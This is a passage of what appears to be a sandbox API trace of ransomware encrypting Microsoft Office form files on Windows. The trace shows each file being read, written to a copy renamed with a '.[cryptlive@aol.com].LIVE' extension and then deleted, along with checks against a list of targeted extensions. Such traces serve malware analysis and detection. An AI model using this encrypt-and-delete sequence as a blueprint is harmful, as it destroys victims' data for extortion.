(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.028] GetLastError () returned 0x0 [0160.028] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x314, lpOverlapped=0x0) returned 1 [0160.032] WriteFile (in: hFile=0x314, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x320, lpOverlapped=0x0) returned 1 [0160.034] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.034] WriteFile (in: hFile=0x314, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.034] SetEndOfFile (hFile=0x314) returned 1 [0160.050] CloseHandle (hObject=0x314) returned 1 [0160.050] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.050] SetEndOfFile (hFile=0x1dc) returned 1 [0160.052] CloseHandle (hObject=0x1dc) returned 1 [0160.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.512] lstrlenW (lpString=".doc") returned 4 [0160.512] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString=".docx") returned 5 [0160.512] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0160.512] lstrlenW (lpString=".pdf") returned 4 [0160.512] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString=".xls") returned 4 [0160.512] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString=".xlsx") returned 5 [0160.512] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0160.512] lstrlenW (lpString=".ppt") returned 4 [0160.512] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.512] lstrlenW (lpString=".zip") returned 4 [0160.512] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString=".rar") returned 4 [0160.512] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.512] lstrlenW (lpString=".bz2") returned 4 [0160.512] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.513] lstrlenW (lpString=".7z") returned 3 [0160.513] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".dbf") returned 4 [0160.513] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".1cd") returned 4 [0160.513] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".jpg") returned 4 [0160.513] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".doc") returned 4 [0160.513] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString=".docx") returned 5 [0160.513] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0160.513] lstrlenW (lpString=".pdf") returned 4 [0160.513] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString=".xls") returned 4 [0160.513] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString=".xlsx") returned 5 [0160.513] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0160.513] lstrlenW (lpString=".ppt") returned 4 [0160.513] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".zip") returned 4 [0160.513] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString=".rar") returned 4 [0160.513] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.513] lstrlenW (lpString=".bz2") returned 4 [0160.513] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.513] lstrlenW (lpString=".7z") returned 3 [0160.513] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.513] lstrlenW (lpString=".dbf") returned 4 [0160.514] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.514] lstrlenW (lpString=".1cd") returned 4 [0160.514] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0160.514] lstrlenW (lpString=".jpg") returned 4 [0160.514] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.514] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.514] lstrlenW (lpString="SCDRESPL.ICO") returned 12 [0160.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.554] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0160.554] CloseHandle (hObject=0x1fc) returned 1 [0160.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 0x20 [0160.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.556] GetLastError () returned 0x0 [0160.556] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0160.565] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0160.566] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.566] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.566] SetEndOfFile (hFile=0x3a0) returned 1 [0160.566] CloseHandle (hObject=0x3a0) returned 1 [0160.566] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.566] SetEndOfFile (hFile=0x1fc) returned 1 [0160.568] CloseHandle (hObject=0x1fc) returned 1 [0160.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString=".doc") returned 4 [0160.570] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.570] lstrlenW (lpString=".docx") returned 5 [0160.570] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.570] lstrlenW (lpString=".pdf") returned 4 [0160.570] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString=".xls") returned 4 [0160.570] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString=".xlsx") returned 5 [0160.570] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.570] lstrlenW (lpString=".ppt") returned 4 [0160.570] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString=".zip") returned 4 [0160.570] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString=".rar") returned 4 [0160.570] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString=".bz2") returned 4 [0160.570] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.570] lstrlenW (lpString=".7z") returned 3 [0160.570] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString=".dbf") returned 4 [0160.570] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString=".1cd") returned 4 [0160.570] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.570] lstrlenW (lpString=".jpg") returned 4 [0160.570] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString=".doc") returned 4 [0160.571] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.571] lstrlenW (lpString=".docx") returned 5 [0160.571] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.571] lstrlenW (lpString=".pdf") returned 4 [0160.571] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.571] lstrlenW (lpString=".xls") returned 4 [0160.571] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.571] lstrlenW (lpString=".xlsx") returned 5 [0160.571] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.571] lstrlenW (lpString=".ppt") returned 4 [0160.571] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString=".zip") returned 4 [0160.571] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.571] lstrlenW (lpString=".rar") returned 4 [0160.571] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.571] lstrlenW (lpString=".bz2") returned 4 [0160.571] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.571] lstrlenW (lpString=".7z") returned 3 [0160.571] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString=".dbf") returned 4 [0160.571] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString=".1cd") returned 4 [0160.571] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0160.571] lstrlenW (lpString=".jpg") returned 4 [0160.571] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.571] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.572] lstrlenW (lpString="SCDRESTL.ICO") returned 12 [0160.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.572] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0160.572] CloseHandle (hObject=0x1fc) returned 1 [0160.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 0x20 [0160.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.573] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.573] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.574] GetLastError () returned 0x0 [0160.574] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0160.585] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0160.586] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.586] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.586] SetEndOfFile (hFile=0x3a0) returned 1 [0160.587] CloseHandle (hObject=0x3a0) returned 1 [0160.587] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.587] SetEndOfFile (hFile=0x1fc) returned 1 [0160.589] CloseHandle (hObject=0x1fc) returned 1 [0160.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 1 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.591] lstrlenW (lpString=".doc") returned 4 [0160.591] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.591] lstrlenW (lpString=".docx") returned 5 [0160.591] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.591] lstrlenW (lpString=".pdf") returned 4 [0160.591] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.591] lstrlenW (lpString=".xls") returned 4 [0160.591] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.591] lstrlenW (lpString=".xlsx") returned 5 [0160.591] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.591] lstrlenW (lpString=".ppt") returned 4 [0160.591] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.591] lstrlenW (lpString=".zip") returned 4 [0160.591] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.591] lstrlenW (lpString=".rar") returned 4 [0160.591] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.591] lstrlenW (lpString=".bz2") returned 4 [0160.592] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.592] lstrlenW (lpString=".7z") returned 3 [0160.592] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.592] lstrlenW (lpString=".dbf") returned 4 [0160.592] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.592] lstrlenW (lpString=".1cd") returned 4 [0160.592] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.592] lstrlenW (lpString=".jpg") returned 4 [0160.592] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.592] lstrlenW (lpString=".doc") returned 4 [0160.592] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.592] lstrlenW (lpString=".docx") returned 5 [0160.592] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.592] lstrlenW (lpString=".pdf") returned 4 [0160.592] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.592] lstrlenW (lpString=".xls") returned 4 [0160.592] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.592] lstrlenW (lpString=".xlsx") returned 5 [0160.592] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.592] lstrlenW (lpString=".ppt") returned 4 [0160.592] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.593] lstrlenW (lpString=".zip") returned 4 [0160.593] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.593] lstrlenW (lpString=".rar") returned 4 [0160.593] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.593] lstrlenW (lpString=".bz2") returned 4 [0160.593] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.593] lstrlenW (lpString=".7z") returned 3 [0160.593] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.593] lstrlenW (lpString=".dbf") returned 4 [0160.593] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.593] lstrlenW (lpString=".1cd") returned 4 [0160.593] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0160.593] lstrlenW (lpString=".jpg") returned 4 [0160.593] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.593] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.593] lstrlenW (lpString="SCHDCNCL.CFG") returned 12 [0160.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.594] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=821) returned 1 [0160.594] CloseHandle (hObject=0x1fc) returned 1 [0160.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 0x20 [0160.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.595] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.595] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.596] GetLastError () returned 0x0 [0160.596] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, 